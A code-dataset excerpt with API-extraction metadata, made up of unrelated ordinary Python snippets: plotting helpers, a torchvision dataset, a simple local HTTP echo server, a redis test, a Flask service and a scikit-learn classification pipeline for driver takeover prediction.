code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
from matplotlib import pyplot as plt
def compare_planned_to_actual(z_actual, z_path, t, additional=None):
plt.subplot(211)
plt.plot(t,z_path,linestyle='-',marker='.',color='red')
plt.plot(t,z_actual,linestyle='-',color='blue')
if additional:
plt.plot(t, additional, linestyle="-", color="black")
plt.grid()
plt.title('Change in height').set_fontsize(20)
plt.xlabel('$t$ [sec]').set_fontsize(20)
plt.ylabel('$z-z_0$ [$m$]').set_fontsize(20)
plt.xticks(fontsize = 14)
plt.yticks(fontsize = 14)
plt.gca().invert_yaxis()
legend = ['Planned path','Executed path']
if additional:
legend.append("Executed path (FF)")
plt.legend(legend,fontsize = 14)
plt.show()
if additional:
return
plt.subplot(212)
plt.plot(t,abs(z_path-z_actual),linestyle='-',marker='.',color='blue')
plt.grid()
plt.title('Error value ').set_fontsize(20)
plt.xlabel('$t$ [sec]').set_fontsize(20)
plt.ylabel('||$z_{target} - z_{actual}$|| [$m$]').set_fontsize(20)
plt.xticks(fontsize = 14)
plt.yticks(fontsize = 14)
plt.legend(['Error'],fontsize = 14)
plt.show()
| [
"matplotlib.pyplot.grid",
"matplotlib.pyplot.xticks",
"matplotlib.pyplot.ylabel",
"matplotlib.pyplot.gca",
"matplotlib.pyplot.xlabel",
"matplotlib.pyplot.plot",
"matplotlib.pyplot.yticks",
"matplotlib.pyplot.title",
"matplotlib.pyplot.subplot",
"matplotlib.pyplot.legend",
"matplotlib.pyplot.show... | [((111, 127), 'matplotlib.pyplot.subplot', 'plt.subplot', (['(211)'], {}), '(211)\n', (122, 127), True, 'from matplotlib import pyplot as plt\n'), ((132, 191), 'matplotlib.pyplot.plot', 'plt.plot', (['t', 'z_path'], {'linestyle': '"""-"""', 'marker': '"""."""', 'color': '"""red"""'}), "(t, z_path, linestyle='-', marker='.', color='red')\n", (140, 191), True, 'from matplotlib import pyplot as plt\n'), ((192, 242), 'matplotlib.pyplot.plot', 'plt.plot', (['t', 'z_actual'], {'linestyle': '"""-"""', 'color': '"""blue"""'}), "(t, z_actual, linestyle='-', color='blue')\n", (200, 242), True, 'from matplotlib import pyplot as plt\n'), ((325, 335), 'matplotlib.pyplot.grid', 'plt.grid', ([], {}), '()\n', (333, 335), True, 'from matplotlib import pyplot as plt\n'), ((485, 508), 'matplotlib.pyplot.xticks', 'plt.xticks', ([], {'fontsize': '(14)'}), '(fontsize=14)\n', (495, 508), True, 'from matplotlib import pyplot as plt\n'), ((515, 538), 'matplotlib.pyplot.yticks', 'plt.yticks', ([], {'fontsize': '(14)'}), '(fontsize=14)\n', (525, 538), True, 'from matplotlib import pyplot as plt\n'), ((683, 714), 'matplotlib.pyplot.legend', 'plt.legend', (['legend'], {'fontsize': '(14)'}), '(legend, fontsize=14)\n', (693, 714), True, 'from matplotlib import pyplot as plt\n'), ((720, 730), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (728, 730), True, 'from matplotlib import pyplot as plt\n'), ((775, 791), 'matplotlib.pyplot.subplot', 'plt.subplot', (['(212)'], {}), '(212)\n', (786, 791), True, 'from matplotlib import pyplot as plt\n'), ((871, 881), 'matplotlib.pyplot.grid', 'plt.grid', ([], {}), '()\n', (879, 881), True, 'from matplotlib import pyplot as plt\n'), ((1049, 1072), 'matplotlib.pyplot.xticks', 'plt.xticks', ([], {'fontsize': '(14)'}), '(fontsize=14)\n', (1059, 1072), True, 'from matplotlib import pyplot as plt\n'), ((1079, 1102), 'matplotlib.pyplot.yticks', 'plt.yticks', ([], {'fontsize': '(14)'}), '(fontsize=14)\n', (1089, 1102), True, 'from matplotlib import pyplot as plt\n'), ((1109, 1143), 'matplotlib.pyplot.legend', 'plt.legend', (["['Error']"], {'fontsize': '(14)'}), "(['Error'], fontsize=14)\n", (1119, 1143), True, 'from matplotlib import pyplot as plt\n'), ((1149, 1159), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (1157, 1159), True, 'from matplotlib import pyplot as plt\n'), ((267, 320), 'matplotlib.pyplot.plot', 'plt.plot', (['t', 'additional'], {'linestyle': '"""-"""', 'color': '"""black"""'}), "(t, additional, linestyle='-', color='black')\n", (275, 320), True, 'from matplotlib import pyplot as plt\n'), ((340, 369), 'matplotlib.pyplot.title', 'plt.title', (['"""Change in height"""'], {}), "('Change in height')\n", (349, 369), True, 'from matplotlib import pyplot as plt\n'), ((391, 414), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""$t$ [sec]"""'], {}), "('$t$ [sec]')\n", (401, 414), True, 'from matplotlib import pyplot as plt\n'), ((436, 463), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""$z-z_0$ [$m$]"""'], {}), "('$z-z_0$ [$m$]')\n", (446, 463), True, 'from matplotlib import pyplot as plt\n'), ((545, 554), 'matplotlib.pyplot.gca', 'plt.gca', ([], {}), '()\n', (552, 554), True, 'from matplotlib import pyplot as plt\n'), ((886, 911), 'matplotlib.pyplot.title', 'plt.title', (['"""Error value """'], {}), "('Error value ')\n", (895, 911), True, 'from matplotlib import pyplot as plt\n'), ((933, 956), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""$t$ [sec]"""'], {}), "('$t$ [sec]')\n", (943, 956), True, 'from matplotlib import pyplot as plt\n'), ((978, 1027), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""||$z_{target} - z_{actual}$|| [$m$]"""'], {}), "('||$z_{target} - z_{actual}$|| [$m$]')\n", (988, 1027), True, 'from matplotlib import pyplot as plt\n')] |
import torchvision.transforms as T
from torchvision.datasets import ImageFolder
class WHURS19(ImageFolder):
""" WHU-RS19 dataset from'Structural High-resolution Satellite Image Indexing', Xia at al. (2010)
https://hal.archives-ouvertes.fr/file/index/docid/458685/filename/structural_satellite_indexing_XYDG.pdf
"""
def __init__(
self,
root: str = ".data/WHU-RS19",
transform: T.Compose = T.Compose([T.ToTensor()])
):
super().__init__(
root=root,
transform=transform
)
| [
"torchvision.transforms.ToTensor"
] | [((442, 454), 'torchvision.transforms.ToTensor', 'T.ToTensor', ([], {}), '()\n', (452, 454), True, 'import torchvision.transforms as T\n')] |
import numpy as np
import pandas as pd
import plotly.graph_objs as go
# import plotly.plotly as py
dates = pd.date_range('01-Jan-2010', pd.datetime.now().date(), freq='D')
df = pd.DataFrame(100 + np.random.randn(dates.size).cumsum(), dates, columns=['AAPL'])
trace = go.Scatter(x=df.index, y=df.AAPL)
data = [trace]
layout = dict(
title='Time series with range slider and selectors',
xaxis=dict(
rangeselector=dict(
buttons=list([
dict(count=1,
label='1m',
step='month',
stepmode='backward'),
dict(count=6,
label='6m',
step='month',
stepmode='backward'),
dict(count=1,
label='YTD',
step='year',
stepmode='todate'),
dict(count=1,
label='1y',
step='year',
stepmode='backward'),
dict(step='all')
])
),
rangeslider=dict(),
type='date'
)
)
fig = go.Figure()
fig.add_trace(trace)
fig.update_layout(
title='Time series with range slider and selectors',
xaxis=dict(
rangeselector=dict(
buttons=list([
dict(count=1,
label='1m',
step='month',
stepmode='backward'),
dict(count=6,
label='6m',
step='month',
stepmode='backward'),
dict(count=1,
label='YTD',
step='year',
stepmode='todate'),
dict(count=1,
label='1y',
step='year',
stepmode='backward'),
dict(step='all')
])
),
rangeslider=dict(
visible=True,
thickness=0.3
),
type='date'
))
initial_range = ['2016-01-01', '2017-09-01']
fig['layout']['xaxis'].update(range=initial_range)
fig.show()
| [
"plotly.graph_objs.Figure",
"numpy.random.randn",
"plotly.graph_objs.Scatter",
"pandas.datetime.now"
] | [((270, 303), 'plotly.graph_objs.Scatter', 'go.Scatter', ([], {'x': 'df.index', 'y': 'df.AAPL'}), '(x=df.index, y=df.AAPL)\n', (280, 303), True, 'import plotly.graph_objs as go\n'), ((1145, 1156), 'plotly.graph_objs.Figure', 'go.Figure', ([], {}), '()\n', (1154, 1156), True, 'import plotly.graph_objs as go\n'), ((138, 155), 'pandas.datetime.now', 'pd.datetime.now', ([], {}), '()\n', (153, 155), True, 'import pandas as pd\n'), ((198, 225), 'numpy.random.randn', 'np.random.randn', (['dates.size'], {}), '(dates.size)\n', (213, 225), True, 'import numpy as np\n')] |
# Python 3 server example
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
import os.path
import socket
import base64
hostName = socket.gethostbyname(socket.gethostname())
serverPort = 8080
reply = b"\x12\01Hi there - from the Python server!\x12\x00\x80"
def recover(a):
# hexdump via https://github.com/walchko/pyhexdump/blob/master/pyhexdump/pyhexdump.py
b = []
for c in a:
if 0x7e >= c >= 0x20: # only print ascii chars
b.append(chr(c))
else: # all others just replace with '.'
b.append('.')
ret = ''.join(b)
return ret
def hexdump(data):
size = 16
buff = []
line = [0]*size
print_string = '{:09X} | ' + \
'{:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} {:02X} ' + \
'|{}|'
for i, char in enumerate(data):
if i % size == 0 and i != 0:
buff.append(line)
line = [0]*size
line[0] = char
else:
line[i % size] = char
if i == len(data) - 1:
buff.append(line)
for i, line in enumerate(buff):
print(print_string.format(i,
line[0],
line[1],
line[2],
line[3],
line[4],
line[5],
line[6],
line[7],
line[8],
line[9],
line[10],
line[11],
line[12],
line[13],
line[14],
line[15],
recover(line)
)
)
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
if self.path == "/7":
self.wfile.write(base64.b64encode(reply))
else:
self.wfile.write(reply)
def do_POST(self):
self.send_response(200)
self.end_headers()
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
hexdump(bytearray(body))
self.wfile.write(b"thank you")
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
| [
"base64.b64encode",
"http.server.HTTPServer",
"socket.gethostname"
] | [((172, 192), 'socket.gethostname', 'socket.gethostname', ([], {}), '()\n', (190, 192), False, 'import socket\n'), ((2565, 2609), 'http.server.HTTPServer', 'HTTPServer', (['(hostName, serverPort)', 'MyServer'], {}), '((hostName, serverPort), MyServer)\n', (2575, 2609), False, 'from http.server import BaseHTTPRequestHandler, HTTPServer\n'), ((2182, 2205), 'base64.b64encode', 'base64.b64encode', (['reply'], {}), '(reply)\n', (2198, 2205), False, 'import base64\n')] |
from lcu_driver import Connector
connector = Connector()
@connector.ready
async def connect(connection):
print('LCU API is ready to be used.')
@connector.close
async def disconnect(connection):
print('Finished task')
connector.start()
| [
"lcu_driver.Connector"
] | [((46, 57), 'lcu_driver.Connector', 'Connector', ([], {}), '()\n', (55, 57), False, 'from lcu_driver import Connector\n')] |
from flask_babel import gettext
from dateutil import rrule, parser
from datetime import datetime, date, timedelta
from supermamas.areas.districts import District
from supermamas.areas.cities import City
class Service:
__instance = None
def __new__(cls, district_repository=None, city_repository=None):
if not Service.__instance:
Service.__instance = object.__new__(cls)
Service.__instance.district_repository = district_repository
Service.__instance.city_repository = city_repository
return Service.__instance
def _district_repository(self):
return Service.__instance.district_repository
def _city_repository(self):
return Service.__instance.city_repository
def cities(self):
return self._city_repository().get_all()
def districts(self):
return self._district_repository().get_all()
def get_city(self, city_id):
return self._city_repository().get(city_id)
def get_district(self, district_id):
return self._district_repository().get(district_id)
def get_districts_in_same_city_by_district(self, district_id):
city = self._city_repository().get_by_district(district_id)
return city.districts
def add_city(self, city_name):
errors = {}
if not city_name:
errors["city_name"] = gettext(u"City name is missing")
if not errors:
city = City()
city.name = city_name
city = self._city_repository().insert(city)
else:
city = None
return (city, errors)
def add_district(self, district_name):
errors = {}
if not district_name:
errors["district_name"] = gettext(u"District name is missing")
if not errors:
district = District()
district.name = district_name
district = self._district_repository().insert(district)
else:
district = None
return (district, errors)
def delete_city(self, city_id):
self._city_repository().remove(city_id)
def delete_district(self, district_id):
self._district_repository().remove(district_id) | [
"supermamas.areas.cities.City",
"flask_babel.gettext",
"supermamas.areas.districts.District"
] | [((1368, 1400), 'flask_babel.gettext', 'gettext', (['u"""City name is missing"""'], {}), "(u'City name is missing')\n", (1375, 1400), False, 'from flask_babel import gettext\n'), ((1444, 1450), 'supermamas.areas.cities.City', 'City', ([], {}), '()\n', (1448, 1450), False, 'from supermamas.areas.cities import City\n'), ((1746, 1782), 'flask_babel.gettext', 'gettext', (['u"""District name is missing"""'], {}), "(u'District name is missing')\n", (1753, 1782), False, 'from flask_babel import gettext\n'), ((1830, 1840), 'supermamas.areas.districts.District', 'District', ([], {}), '()\n', (1838, 1840), False, 'from supermamas.areas.districts import District\n')] |
# -*- coding: utf-8 -*-
# @Author: Clarence
# @Date: 2018-08-11 17:24:59
# @Last Modified by: Clarence
# @Last Modified time: 2018-08-12 01:16:19
import redis
class TestString(object):
"""
set --设置值
get --获取值
mset --设置多个键值对
mget --获取多个键值对
append --添加字符串
del --删除
incr/decr --增加/减少1
"""
def __init__(self):
# 两者都可以,第一种对其他版本进行了兼容和对redis命令进一步封装
#r = redis.Redis(host = 'localhost', port = 6379, db = 0)
self.r = redis.StrictRedis(host = 'localhost', port = 6379, db = 0)
def test_set(self):
''' set --设置值 '''
rest = self.r.set('user2', 'Amy')
return rest
def test_get(self):
''' get --获取值 '''
rest = self.r.get('user2')
return rest
def test_mset(self):
''' mset --设置多个键值对 '''
d = {
'user2' : 'Bob',
'user3' : 'Bobx'
}
rest = self.r.mset(d)
return rest
def test_mget(self):
''' mget --获取多个键值对 '''
l = ['user2', 'user3']
rest = self.r.mget(l)
return rest
def test_del(self):
rest = self.r.delete('user3')
return rest
def main():
str_obj = TestString()
result = str_obj.test_set()
print(result)
result = str_obj.test_get()
print(result)
result = str_obj.test_mset()
print(result)
result = str_obj.test_mget()
print(result)
if __name__ == '__main__':
main() | [
"redis.StrictRedis"
] | [((433, 485), 'redis.StrictRedis', 'redis.StrictRedis', ([], {'host': '"""localhost"""', 'port': '(6379)', 'db': '(0)'}), "(host='localhost', port=6379, db=0)\n", (450, 485), False, 'import redis\n')] |
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 15 21:56:08 2020
@author: <NAME>
"""
# STEP1----------------- # Importing the libraries------------
#-------------------------------------------------------------
import os
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import glob
import scipy.signal as ss
import csv
import sklearn
from quilt.data.ResidentMario import missingno_data
import missingno as msno
import seaborn as sns
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import StandardScaler # for preprocessing the data
from sklearn.ensemble import RandomForestClassifier # Random forest classifier
from sklearn.tree import DecisionTreeClassifier # for Decision Tree classifier
from sklearn.svm import SVC # for SVM classification
from sklearn.decomposition import PCA
from sklearn.linear_model import LogisticRegression
from sklearn.model_selection import train_test_split # to split the data
from sklearn.model_selection import KFold # For cross vbalidation
from sklearn.model_selection import GridSearchCV # for tunnig hyper parameter it will use all combination of given parameters
from sklearn.model_selection import RandomizedSearchCV # same for tunning hyper parameter but will use random combinations of parameters
from sklearn.metrics import confusion_matrix,recall_score,precision_recall_curve,auc,roc_curve,roc_auc_score,classification_report
# STEP2------------------# Importing the DATASET ------------
#------------------------------------------------------------
# Loading data from the iMotions the path to csv file directory
os.chdir("\\ML4TakeOver\\Data\\RawData")
directory = os.getcwd()
#dataFrame_takeover_feature = pd.read_csv('takeover_cleaned_feature4ML.csv', index_col=[0])
dataFrame_takeover_feature = pd.read_csv('takeover4ML.csv', index_col=[0])
dataset = dataFrame_takeover_feature
chunk_users = ['015_M3', '015_m2', '015_M1', '014_M3', #Select a handful of ppl for saving resource
'014_M2', '014_m1']
chunk_dataset = dataset[dataset['Name'].isin(chunk_users)]
dataset = chunk_dataset
dataset.shape
###### ======================================Encoding notes=======================================
# Alarm Type: TA =2, NoA =1, FA = 0 , Z = 3
# TakeOver : TK =1 , NTK= 0
# Alarm : 339.0 =339.0, 103.0= 4, 332.0=14, 259.0=11, 16.0=2, 178.0=6, 284.0=12,
# 213.0=9, 323.0=13, 185.0=7, 84.0=3, 137.0=5, 5.0=1, 191.0=8, 254.0=10
# Mode : +1 (Auto)= +1, -1(Manual)= 0
##### ===========================================================================================
dt_tmp = dataset
dt_tmp['Takeover'] = dt_tmp.Takeover.astype('category')
# Number of "NOT-TAKEOVER" per alarm type
dataset[dataset.Takeover == 'NTK']['Coming_AlarmType'].value_counts()
# Number of "TAKEOVER" per alarm type
dataset[dataset.Takeover == 'TK']['Coming_AlarmType'].value_counts()
## STEP3========================= Eploring the data, mainly the Label (Takeover) ====================
## ===================================================================================================
# let's check the "Takeover" distributions
sns.countplot("Takeover",data=dataset)
# Let's check the Percentage for "TakeOver"
Count_NoTakeOver = len(dataset[dataset["Takeover"]== 0 ]) # Non-TakeOver are repersented by 0
Count_TakeOver = len(dataset[dataset["Takeover"]== 1 ]) # TakeOver by 1
Percentage_of_NoTakeOver = Count_NoTakeOver/(Count_NoTakeOver+Count_TakeOver)
print("percentage of None-TakeOver, 0 = ",Percentage_of_NoTakeOver*100)
Percentage_of_TakeOver= Count_TakeOver/(Count_NoTakeOver+Count_TakeOver)
print("percentage of TakeOver, 1 = ",Percentage_of_TakeOver*100)
# the amount related to valid "TakeOver" and "None-Takeover"
Amount_TakeOver = dataset[dataset["Takeover"]== 1]
Amount_NoTakeOver = dataset[dataset["Takeover"]== 0]
plt.figure(figsize=(10,6))
plt.subplot(121)
Amount_TakeOver.plot.hist(title="TakeOver", legend =None)
plt.subplot(122)
Amount_NoTakeOver.plot.hist(title="No-Takeover",legend =None)
# Pandas offers us out-of-the-box three various correlation coefficients 1) Pearson's 2) Spearman rank 3) Kendall Tau
pearson = dataset.corr(method='pearson')
# assume target attr is the "Takeover or -3", then remove corr with itself
corr_with_target = pearson.iloc[-3][:]
# attributes sorted from the most predictive
predictivity = corr_with_target.sort_values(ascending=False)
## STEP4=========================-# Prepration for Machine Learning algorithms=========================
## ====================================================================================================
# Drop useless features for ML
dataset = dataset.drop(['Timestamp','index','ID', 'Name', 'EventSource', 'ManualGear','EventW','EventN','GazeDirectionLeftY','Alarm',
'GazeDirectionLeftX', 'GazeDirectionRightX', 'GazeDirectionRightY','CurrentBrake',
'PassBy','RangeN'], axis=1) #ManualGear has only "one" value
#EventW is pretty similar to EventN
dataset.shape
#---------------------------------------------------------
# convert categorical value to the number
# convert datatype of object to int and strings
dataset['LeftLaneType'] = dataset.LeftLaneType.astype(object)
dataset['RightLaneType'] = dataset.RightLaneType.astype(object)
dataset['TOT_Class'] = dataset.TOT_Class.astype(object)
dataset['Coming_Alarm'] = dataset.Coming_Alarm.astype(object)
dataset['Takeover'] = dataset.Takeover.astype(object)
dataset['Coming_AlarmType'] = dataset.Coming_AlarmType.astype(object)
dataset['NDTask'] = dataset.NDTask.astype(object)
#****** Drop features that happing after Alarm (anything after alarm interupt takeover prediction)****************
dataset = dataset.drop(['Mode','TOT_Class', 'AlarmDuration','Coming_Alarm','ReactionTime','Coming_AlarmType'], axis=1) # Coming Alarm maybe helpful for ReactionTime
# ------------------------------------------------------.
# takeover (NT, TK) is our target
input_data = dataset.iloc[:, dataset.columns != 'Takeover']
X = input_data
y = dataset[['Takeover']].values.ravel()
# ======================================= Encoding Categorical variables =========================
# # Encoding categorical variables
from sklearn.preprocessing import StandardScaler,LabelEncoder, OneHotEncoder
from sklearn.compose import ColumnTransformer, make_column_transformer #labelencoder class takes cat. var. and assign value to them
# List of all Categorical features
Cat_Features= ['LeftLaneType','RightLaneType','NDTask']
# Get the column index of the categorical features
categorical_features = []
for i in Cat_Features:
position = dataset.columns.get_loc(i)
categorical_features.append(position)
print(categorical_features)
# Get the column index of the Contin. features
conti_features = []
Cont_Filter = dataset.dtypes!=object
Cont_Filter = dataset.columns.where(Cont_Filter).tolist()
Cont_Filter_Cleaned = [name for name in Cont_Filter if str(name) !='nan']
for i in Cont_Filter_Cleaned:
position = dataset.columns.get_loc(i)
conti_features.append(position)
print(conti_features)
# How many columns will be needed for each categorical feature?
print(dataset[Cat_Features].nunique(),
'There are',"--",sum(dataset[Cat_Features].nunique().loc[:]),"--",'groups in the whole dataset')
# ===============================Create pipeline for data transformatin (normalize numeric, and hot encoder categorical)
# =============================================================================
from sklearn.pipeline import make_pipeline
numeric = make_pipeline(
StandardScaler())
categorical = make_pipeline(
# handles categorical features
# sparse = False output an array not sparse matrix
OneHotEncoder(sparse=False)) # Automatically take care of Dummy Trap
# creates a simple preprocessing pipeline (that will be combined in a full prediction pipeline below)
# to scale the numerical features and one-hot encode the categorical features.
preprocess = make_column_transformer((numeric, Cont_Filter_Cleaned),
(categorical, ['LeftLaneType','RightLaneType','Coming_AlarmType','NDTask']),
remainder='passthrough')
# =============================================================================
# Taking care of splitting
from sklearn.model_selection import train_test_split
from sklearn.svm import SVC
X_train, X_test, y_train, y_test = train_test_split(X,y, test_size = 0.20, random_state = 42)
# apply preprocess step (normalize the numeric value and one hot encoding for the categorical)
preprocess.fit_transform(X_train)
# =============================================================================
#SVM is usually optimized using two parameters gamma,C .
# Set the parameters by cross-validation
tuned_parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],
'C': [1, 10, 100, 1000]},
{'kernel': ['linear'], 'C': [1, 10, 100, 1000]}] # C: the Cost parameter, Gamma: Control Bias and variance
# A High value of Gamma leads to more accuracy but biased results and vice-versa.
# Similarly, a large value of Cost parameter (C) indicates poor accuracy but low bias and vice-versa.
tuned_parameters2 = [{'kernel': ['linear'], 'C': [1, 100]}]
model = make_pipeline(
preprocess,
SVC())
##### Try Simple Version ##############
from sklearn import svm
clf = svm.SVC()
X_train = preprocess.fit_transform(X_train)
grid_result = clf.fit(X_train, y_train)
X_test = preprocess.fit_transform(X_test)
clf.predict(X_test)
## we should try this in near future: https://machinelearningmastery.com/multi-class-classification-tutorial-keras-deep-learning-library/
##############
############################
##########################################
########################################################
######################################################################
# the GridSearchCV object with pipeline and the parameter space with 5 folds cross validation.
scores = ['precision', 'recall']
best_params = []
for score in scores:
print("# Tuning hyper-parameters for %s" % score)
print()
clf = GridSearchCV(
SVC(), tuned_parameters2, scoring='%s_macro' % score
)
X_train = preprocess.fit_transform(X_train)
grid_result = clf.fit(X_train, y_train)
best_params.append(grid_result.best_params_)
print("Best parameters set found on development set:")
print()
print(clf.best_params_)
print()
print("Grid scores on development set:")
print()
means = clf.cv_results_['mean_test_score']
stds = clf.cv_results_['std_test_score']
for mean, std, params in zip(means, stds, clf.cv_results_['params']):
print("%0.3f (+/-%0.03f) for %r"
% (mean, std * 2, params))
print()
print("Detailed classification report:")
print()
print("The model is trained on the full development set.")
print("The scores are computed on the full evaluation set.")
print()
X_test = preprocess.fit_transform(X_test)
y_true, y_pred = y_test, clf.predict(X_test)
print(classification_report(y_true, y_pred))
print()
# =============================================================================
# ================= Resampling the imbalanced Label of "TakeOver" ========================================
#==========================================================================================================
# We create the preprocessing pipelines for both numeric and categorical data.
from sklearn.pipeline import Pipeline
from sklearn.utils import resample
numeric_features = Cont_Filter_Cleaned
numeric_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='median')),
('scaler', StandardScaler())])
categorical_features = ['LeftLaneType','RightLaneType','Coming_AlarmType','NDTask']
categorical_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='constant', fill_value='missing')),
('onehot', OneHotEncoder(handle_unknown='ignore'))])
preprocessor = ColumnTransformer(
transformers=[
('num', numeric_transformer, numeric_features),
('cat', categorical_transformer, categorical_features)])
# Append classifier to preprocessing pipeline.
# Separate input features and target
y = dataset.Takeover
X = dataset.drop('Takeover', axis=1)
# setting up testing and training sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=27)
# concatenate our training data back together
X = pd.concat([X_train, y_train], axis=1)
# separate minority and majority classes
take_over = X[X.Takeover=='TK']
not_takeover = X[X.Takeover=='NTK']
# upsample minority
not_takeover_upsampled = resample(not_takeover,
replace=True, # sample with replacement
n_samples=len(take_over), # match number in majority class
random_state=27) # reproducible results
# combine majority and upsampled minority
upsampled = pd.concat([take_over, not_takeover_upsampled])
# check new class counts
upsampled.Takeover.value_counts() #713585
# trying logistic regression again with the balanced dataset
y_train = upsampled.Takeover
X_train = upsampled.drop('Takeover', axis=1)
##### LOGISTIC REGRESSION ###############################
#########################################################
# Now we have a full prediction pipeline.
clf = Pipeline(steps=[('preprocessor', preprocessor),
('classifier', LogisticRegression())])
y_score = clf.fit(X_train, y_train)
print("model score: %.3f" % clf.score(X_test, y_test)) # model score: 0.846
y_true, y_pred = y_test, clf.predict(X_test)
print(classification_report(y_true, y_pred))
##### DECISION TREE ##################################
#########################################################
from sklearn.tree import DecisionTreeClassifier
clf_3 = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('clf', DecisionTreeClassifier(random_state=0))])
y_score = clf_3.fit(X_train, y_train)
print("model score: %.3f" % clf_3.score(X_test, y_test)) # model score: 0.99
y_true_3, y_pred_3 = y_test, clf_3.predict(X_test)
print(classification_report(y_true_3, y_pred_3))
##### RANDOM FOREST ##################################
#########################################################
clf_2 = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('clf',RandomForestClassifier(max_depth=2, random_state=0))])
y_score = clf_2.fit(X_train, y_train)
print("model score: %.3f" % clf_2.score(X_test, y_test)) # model score: 0.830
y_true_2, y_pred_2 = y_test, clf_2.predict(X_test)
print(classification_report(y_true_2, y_pred_2))
##### Regularized Greedy Forest (RGF) ##################################
############################################################################
from sklearn.utils.validation import check_random_state
from sklearn.model_selection import StratifiedKFold, cross_val_score
from sklearn.ensemble import GradientBoostingClassifier
from rgf.sklearn import RGFClassifier
y_upsampled = upsampled.Takeover
X_upsampled = upsampled.drop('Takeover', axis=1)
clf_5 = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('classifier', RGFClassifier(max_leaf=400,
algorithm="RGF_Sib",
test_interval=100,
verbose=True))])
n_folds = 5
rgf_scores = cross_val_score(clf_5,
X_upsampled,
y_upsampled,
cv=StratifiedKFold(n_folds))
rgf_score = sum(rgf_scores)/n_folds
print('RGF Classifier score: {0:.5f}'.format(rgf_score)) #RGF Classifier score: 0.92304
XGBClassifier(class_weight='balanced')
##### Gradiaent Boosting #############################################
############################################################################
from sklearn.ensemble import GradientBoostingClassifier
clf_gb = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('classifier', GradientBoostingClassifier(n_estimators=20,
learning_rate=0.01,
subsample=0.6,
random_state=127))])
gb_scores = cross_val_score(clf_gb,
X_upsampled,
y_upsampled,
scoring="f1_weighted",
cv=StratifiedKFold(n_folds))
gb_score = sum(gb_scores)/n_folds
print('Gradient Boosting Classifier score: {0:.5f}'.format(gb_score)) #score: 0.79832
print('>> Mean CV score is: ', round(np.mean(gb_scores),3))
pltt = sns.distplot(pd.Series(gb_scores,name='CV scores distribution(Gradiaent Boosting)'), color='r')
##### ADA Boost #########################################################
###########################################################################
from sklearn.ensemble import AdaBoostClassifier
clf_4 = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('classifier', AdaBoostClassifier(n_estimators=100, random_state=0))])
y_score = clf_4.fit(X_train, y_train)
print("model score: %.3f" % clf_4.score(X_test, y_test)) # model score: 0.887
y_true_4, y_pred_4 = y_test, clf_4.predict(X_test)
print(classification_report(y_true_4, y_pred_4))
##### GAUSSIAN PROCESS #################################
#########################################################
from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF
kernel = 1.0 * RBF(1.0)
clf_3 = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('clf',GaussianProcessClassifier(kernel=kernel, random_state=0))]) # model score: 0.830
y_score = clf_3.fit(X_train, y_train)
print("model score: %.3f" % clf_3.score(X_test, y_test)) # model score: 0.830
y_true_3, y_pred_3 = y_test, clf_3.predict(X_test)
print(classification_report(y_true_3, y_pred_3))
# # =============================================================================
# ================= DownSampling the majority imbalanced Label of "TakeOver" ======================================
#==================================================================================================================
# separate minority and majority classes
take_over = X[X.Takeover=='TK']
not_takeover = X[X.Takeover=='NTK']
# downsample majority
takeover_downsampled = resample(take_over,
replace = False, # sample without replacement
n_samples = len(not_takeover), # match minority n
random_state = 27) # reproducible results
# combine minority and downsampled majority
downsampled = pd.concat([takeover_downsampled, not_takeover])
# checking counts
downsampled.Takeover.value_counts()
# trying logistic regression again with the balanced dataset
y_train_down = downsampled.Takeover
X_train_down = downsampled.drop('Takeover', axis=1)
##### LOGISTIC REGRESSION ###############################
#########################################################
# Now we have a full prediction pipeline.
clf_down = Pipeline(steps=[('preprocessor', preprocessor),
('classifier', LogisticRegression())])
y_score_down = clf_down.fit(X_train_down, y_train_down)
print("model score: %.3f" % clf_down.score(X_test, y_test)) # model score: 0.846
y_true, y_pred = y_test, clf_down.predict(X_test)
print(classification_report(y_true, y_pred))
##### ADA Boost ##################################
#########################################################
from sklearn.ensemble import AdaBoostClassifier
clf_4_down = Pipeline(steps=[('preprocessor', preprocessor),
('reduce_dim', PCA()),
('classifier', AdaBoostClassifier(n_estimators=100, random_state=0))])
y_score = clf_4_down.fit(X_train_down, y_train_down)
print("model score: %.3f" % clf_4_down.score(X_test, y_test)) # model score: 0.887
y_true_down_4, y_pred_down_4 = y_test, clf_4_down.predict(X_test)
print(classification_report(y_true_down_4, y_pred_down_4))
# # =============================================================================
# example of one hot encoding for a neural network
from pandas import read_csv
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from keras.models import Sequential
from keras.layers import Dense
from keras.callbacks import EarlyStopping
from keras.callbacks import ModelCheckpoint
from keras.models import load_model
import h5py
import pytest
